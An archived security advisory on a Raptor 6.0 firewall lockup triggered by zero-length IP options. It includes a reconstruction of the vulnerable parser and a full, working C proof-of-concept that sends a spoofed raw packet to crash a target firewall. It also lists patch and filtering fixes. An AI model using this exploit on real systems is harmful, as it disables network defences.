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TUCoPS :: Unix :: General :: axent2.htm

Axent Raptor 6.0 lockup



Vulnerability

    Axent Raptor

Affected

    Axent Raptor 6.0

Description

    This bug was discovered in  the CERIAS lab's at Purdue  by Florian
    and Kerschbaum Mike Frantzen.  Testing wEnvironment was:

        Sparc 5 85MHz
        Solaris 2.6 Generic_105181-12
        Axent Raptor 6.0.0 Firewall

    Axent's Raptor programmers have a switch statement for IP  Options
    in a  packet.   They likely  have cases  for most  of the  options
    contained  in  the  RFC's  but  only  wrote  handling code for the
    commonly 'malused' options  (source routing).   For all the  other
    known options, they are handled by a generic routine which  likely
    tries to skip that option.  See probable code snapshot below.

    IP Options are (generally) of the form:

         -------- -------- -------- --------
        |  Type  | Length |  ...   |  ...   |
         -------- -------- -------- --------

    Where  the  Type  indicates  which  IP  Option  is present and the
    Length obviously indicates how long the option is.  It also  needs
    to be pointed out that there can be multiple options inside an  IP
    packet -- they just follow each other.

    IP Packets are parsed either  with interrupts masked off or  while
    holding an vital global mutex.   When the option parsing tries  to
    skip a  'benign' option,  it forgets  to check  if it  is of  zero
    length.  So the end result is essentially:

        for (ecx = 20; ecx < header_length; ecx += 0 ) { ... }

    The Options that can lock up the firewall are the Timestamp option
    and the Security option.  The  copy bit does not appear to  affect
    the  results.   Nor  does  the  underlying  protocol  (TCP, UDP or
    random).

    This is the probable offending segment  of code in Raptor.  It  is
    only an  educated guess  - authors  didn't se  their code nor they
    have disassembled it.

 [.....]

	/* Parse the IP Options of the packet */
	for (c = 20; c < (ip.ip_hl * 4); ) {
		switch ( packet[c] & ~COPY_BIT ) {
		 case TIMESTAMP:
		 case SECURITY:
			if ( c + 1 > ip.ip_hl * 4 )
				goto done_parsing_label;
			option_length = packet[c + 1];

			 /* ******************************   ****
			  * Forgetting to check if the option length is
			  * zero here.  So you enter an infinite loop
			  * ******************************   ****/

			if ( option_length + c > ip.ip_hl * 4 )
				goto done_parsing_label;
			c += option_length;
			break;
		 case END_OF_OPTIONS:
			goto done_parsing_label;
		 case NOP:
			c++;
			break;
		 case STRICT_SOURCE_ROUTE:
		 case LOOSE_SOURCE_ROUTE:
		 case RECORD_ROUTE:
			log_dangerous_packet();
		 default:
			if ( c + 1 >= ip.ip_hl * 4 )
				goto done_parsing_label;
			option_length = packet[c + 1];
			if ( (option_length == 0)
			   ||(option_length + c >= ip.ip_hl * 4) )
				goto done_parsing_label;
			c += option_length;
			break;
		}
	}
	done_parsing_label:

	queue_packet_down_stack(packet);
	unmask_interrupts();

 [.....]

    MSG.Net Inc. constructed  a working DOS  for the Axent  Raptor 6.0
    IP  options  processing  bug.   Compiles  and  runs  on  Intel/BSD
    systems.

    /*
     * 10.26.1999
     * Axent Raptor 6.0 'IP Options DOS' as documented in BugTraq 10.20.1999
     *
     * Proof of Concept by MSG.Net, Inc.
     *
     * Tested on Intel/*BSD systems, your mileage may vary. No warranty.
     * Free to distribute as long as these comments remain intact.
     *
     * Exercises the IP options bug reported in Raptor 6.0, this bug is fixed by
     * an Axent official patch available at:
     *
     *                ftp://ftp.raptor.com/patches/V6.0/6.02Patch/
     *
     *
     *                                      The MSG.Net Firewall Wrecking Crew
     *
     *                                          [kadokev, l^3, strange, vn]
     *
     *                                          Quid custodiet ipsos custodes?
     */
    
    #define __FAVOR_BSD
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    
    #define SRC_IP                      htonl(0x0a000001) /* 10.00.00.01 */
    #define TCP_SZ                      20
    #define IP_SZ                       20
    #define PAYLOAD_LEN                 32
    #define OPTSIZE                      4
    #define LEN (IP_SZ + TCP_SZ + PAYLOAD_LEN + OPTSIZE)
    
    
    void main(int argc, char *argv[])
    {
      int checksum(unsigned short *, int);
      int raw_socket(void);
      int write_raw(int, unsigned char *, int);
      unsigned long option = htonl(0x44000001);  /* Timestamp, NOP, END */
      unsigned char *p;
      int s, c;
      struct ip *ip;
      struct tcphdr *tcp;
    
      if (argc != 2) {
        printf("Quid custodiet ipsos custodes?\n");
        printf("Usage: %s <destination IP>\n", argv[0]);
        return;
      }
    
      p = malloc(1500);
      memset(p, 0x00, 1500);
    
      if ((s = raw_socket()) < 0)
         return perror("socket");
    
      ip = (struct ip *) p;
      ip->ip_v    = 0x4;
      ip->ip_hl   = 0x5 + (OPTSIZE / 4);
      ip->ip_tos  = 0x32;
      ip->ip_len  = htons(LEN);
      ip->ip_id   = htons(0xbeef);
      ip->ip_off  = 0x0;
      ip->ip_ttl  = 0xff;
      ip->ip_p    = IPPROTO_TCP;
      ip->ip_sum  = 0;
      ip->ip_src.s_addr = SRC_IP;
      ip->ip_dst.s_addr = inet_addr(argv[1]);
    
    
      /* Masquerade the packet as part of a legitimate answer */
      tcp = (struct tcphdr *) (p + IP_SZ + OPTSIZE);
      tcp->th_sport   = htons(80);
      tcp->th_dport   = 0xbeef;
      tcp->th_seq     = 0x12345678;
      tcp->th_ack     = 0x87654321;
      tcp->th_off     = 5;
      tcp->th_flags   = TH_ACK | TH_PUSH;
      tcp->th_win     = htons(8192);
      tcp->th_sum     = 0;
    
      /* Set the IP options */
      memcpy((void *) (p + IP_SZ), (void *) &option, OPTSIZE);
    
    
      c =  checksum((unsigned short *) &(ip->ip_src), 8)
         + checksum((unsigned short *) tcp, TCP_SZ + PAYLOAD_LEN)
         + ntohs(IPPROTO_TCP + TCP_SZ);
      while (c >> 16)   c = (c & 0xffff) + (c >> 16);
      tcp->th_sum = ~c;
    
      printf("Sending %s -> ", inet_ntoa(ip->ip_src));
      printf("%s\n", inet_ntoa(ip->ip_dst));
    
      if (write_raw(s, p, LEN) != LEN)
         perror("sendto");
    }
    
    
    int write_raw(int s, unsigned char *p, int len)
    {
      struct ip *ip = (struct ip *) p;
      struct tcphdr *tcp;
      struct sockaddr_in sin;
    
      tcp = (struct tcphdr *) (ip + ip->ip_hl * 4);
    
      memset(&sin, 0x00, sizeof(sin));
      sin.sin_family      = AF_INET;
      sin.sin_addr.s_addr = ip->ip_dst.s_addr;
      sin.sin_port        = tcp->th_sport;
    
      return (sendto(s, p, len, 0, (struct sockaddr *) &sin,
                     sizeof(struct sockaddr_in)));
    }
    
    
    int raw_socket(void)
    {
      int s, o = 1;
    
      if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        return -1;
    
      if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (void *) &o, sizeof(o)) < 0)
        return (-1);
    
      return (s);
    }
    
    
    int checksum(unsigned short *c, int len)
    {
      int sum  = 0;
      int left = len;
    
      while (left > 1) {
        sum += *c++;
        left -= 2;
      }
      if (left)
        sum += *c & 0xff;
    
      return (sum);
    }

    Sending raw packets  requires running as  root, so anybody  with a
    lick of sense will have  read through the source before  compiling
    this code.

Solution

    Solution one:  Learn to power cycle your firewall
    Solution two:  Block all traffic with IP Options at your screening
                   router.
    Solution three:Apply Axent's Hotfix

        ftp://ftp.raptor.com/patches/V6.0/6.02Patch/




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